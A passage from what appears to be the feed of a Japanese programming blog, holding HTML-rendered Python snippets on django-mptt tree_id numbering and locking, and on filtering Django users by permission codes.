&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;14
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;15
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;16
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;17
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;18
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;19
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;20
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;21
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;22
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;TreeManager&lt;/span&gt;(models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;Manager&lt;span style="color:#f92672"&gt;.&lt;/span&gt;from_queryset(TreeQuerySet)):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;@delegate_manager&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;insert_node&lt;/span&gt;(self, node, target, position&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;last-child&amp;#39;&lt;/span&gt;, save&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; allow_existing_pk&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;False&lt;/span&gt;, refresh_target&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;True&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; node&lt;span style="color:#f92672"&gt;.&lt;/span&gt;pk &lt;span style="color:#f92672"&gt;and&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; allow_existing_pk &lt;span style="color:#f92672"&gt;and&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;filter(pk&lt;span style="color:#f92672"&gt;=&lt;/span&gt;node&lt;span style="color:#f92672"&gt;.&lt;/span&gt;pk)&lt;span style="color:#f92672"&gt;.&lt;/span&gt;exists():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;raise&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ValueError&lt;/span&gt;(_(&lt;span style="color:#e6db74"&gt;&amp;#39;Cannot insert a node which has already been saved.&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; target &lt;span style="color:#f92672"&gt;is&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tree_id &lt;span style="color:#f92672"&gt;=&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;_get_next_tree_id()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; setattr(node, self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;left_attr, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; setattr(node, self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;right_attr, &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; setattr(node, self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;level_attr, &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; setattr(node, self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;tree_id_attr, tree_id)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; setattr(node, self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;parent_attr, &lt;span style="color:#66d9ef"&gt;None&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_get_next_tree_id&lt;/span&gt;(self):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; max_tree_id &lt;span style="color:#f92672"&gt;=&lt;/span&gt; list(self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;aggregate(Max(self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;tree_id_attr))&lt;span style="color:#f92672"&gt;.&lt;/span&gt;values())[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; max_tree_id &lt;span style="color:#f92672"&gt;=&lt;/span&gt; max_tree_id &lt;span style="color:#f92672"&gt;or&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; max_tree_id &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h2 id="ロックをかける"&gt;ロックをかける&lt;/h2&gt;
&lt;p&gt;django-mptt で tree_id の採番に関して、テーブルロックをかけることは可能です。django-mptt は、デフォルトでは、tree_id の採番にテーブルロックをかけていませんが、以下のようにして、テーブルロックをかけることができます³。&lt;/p&gt;</description></item><item><title>Django: User: Permissionコードのどれかを保有しているユーザーを検索</title><link>https://hdknr.github.io/blogs/posts/2023/04/django-user-permission%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AE%E3%81%A9%E3%82%8C%E3%81%8B%E3%82%92%E4%BF%9D%E6%9C%89%E3%81%97%E3%81%A6%E3%81%84%E3%82%8B%E3%83%A6%E3%83%BC%E3%82%B6%E3%83%BC%E3%82%92%E6%A4%9C%E7%B4%A2/</link><pubDate>Sun, 23 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/django-user-permission%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AE%E3%81%A9%E3%82%8C%E3%81%8B%E3%82%92%E4%BF%9D%E6%9C%89%E3%81%97%E3%81%A6%E3%81%84%E3%82%8B%E3%83%A6%E3%83%BC%E3%82%B6%E3%83%BC%E3%82%92%E6%A4%9C%E7%B4%A2/</guid><description>&lt;h2 id="django-user-permission-コードのどれかを持っているユーザーを検索"&gt;Django: User: Permission コードのどれかを持っているユーザーを検索&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; operator &lt;span style="color:#f92672"&gt;import&lt;/span&gt; or_
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; functools &lt;span style="color:#f92672"&gt;import&lt;/span&gt; reduce
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.db.models &lt;span style="color:#f92672"&gt;import&lt;/span&gt; Q
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;UserQuerySet&lt;/span&gt;(models&lt;span style="color:#f92672"&gt;.&lt;/span&gt;QuerySet):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;filter_has_perm&lt;/span&gt;(self, perm_codeset: List[str]):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34; Permission code(List[app_label.codename]) の一覧のどれかを含むユーザーの検索 &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_query&lt;/span&gt;(item):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; reduce(or_, [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Q(user_permissions__content_type__app_label&lt;span style="color:#f92672"&gt;=&lt;/span&gt;item[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;], user_permissions__codename&lt;span style="color:#f92672"&gt;=&lt;/span&gt;item[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Q(groups__permissions__content_type__app_label&lt;span style="color:#f92672"&gt;=&lt;/span&gt;item[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;], groups__permissions__codename&lt;span style="color:#f92672"&gt;=&lt;/span&gt;item[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; query &lt;span style="color:#f92672"&gt;=&lt;/span&gt; reduce(or_, map(_query, map(&lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; i: i&lt;span style="color:#f92672"&gt;.&lt;/span&gt;strip()&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#34;.&amp;#34;&lt;/span&gt;), perm_codeset)))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; self&lt;span style="color:#f92672"&gt;.&lt;/span&gt;filter(query)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;UserFilter&lt;/span&gt;(django_filters&lt;span style="color:#f92672"&gt;.&lt;/span&gt;FilterSet)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;filter_permission_codes__in_csv&lt;/span&gt;(self, queryset, name, value):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; &lt;span style="color:#f92672"&gt;not&lt;/span&gt; value:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; queryset
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; values &lt;span style="color:#f92672"&gt;=&lt;/span&gt; value&lt;span style="color:#f92672"&gt;.&lt;/span&gt;split(&lt;span style="color:#e6db74"&gt;&amp;#34;,&amp;#34;&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; isinstance(value, str) &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; value
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; len(values) &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; queryset
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; queryset&lt;span style="color:#f92672"&gt;.&lt;/span&gt;filter_has_perm(values)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; permission_codes__in_csv &lt;span style="color:#f92672"&gt;=&lt;/span&gt; DF&lt;span style="color:#f92672"&gt;.&lt;/span&gt;BaseInFilter(
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; label&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;パーミッションコード(CSV)&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; method&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;filter_permission_codes__in_csv&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; )
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Djanog: Permission: app_lablel.codename</title><link>https://hdknr.github.io/blogs/posts/2023/04/djanog-permission-app_lablel.codename/</link><pubDate>Sun, 23 Apr 2023 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2023/04/djanog-permission-app_lablel.codename/</guid><description>&lt;h1 id="django-permission-app_labelcodename-をアノテートする"&gt;Django: Permission: &lt;code&gt;app_label.codename&lt;/code&gt; をアノテートする&lt;/h1&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.db.models &lt;span style="color:#f92672"&gt;import&lt;/span&gt; F, Value
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.db.models.functions &lt;span style="color:#f92672"&gt;import&lt;/span&gt; Concat
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;from&lt;/span&gt; django.contrib.auth &lt;span style="color:#f92672"&gt;import&lt;/span&gt; models &lt;span style="color:#66d9ef"&gt;as&lt;/span&gt; auth_models
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-py" data-lang="py"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;class&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;PermissionDef&lt;/span&gt;:
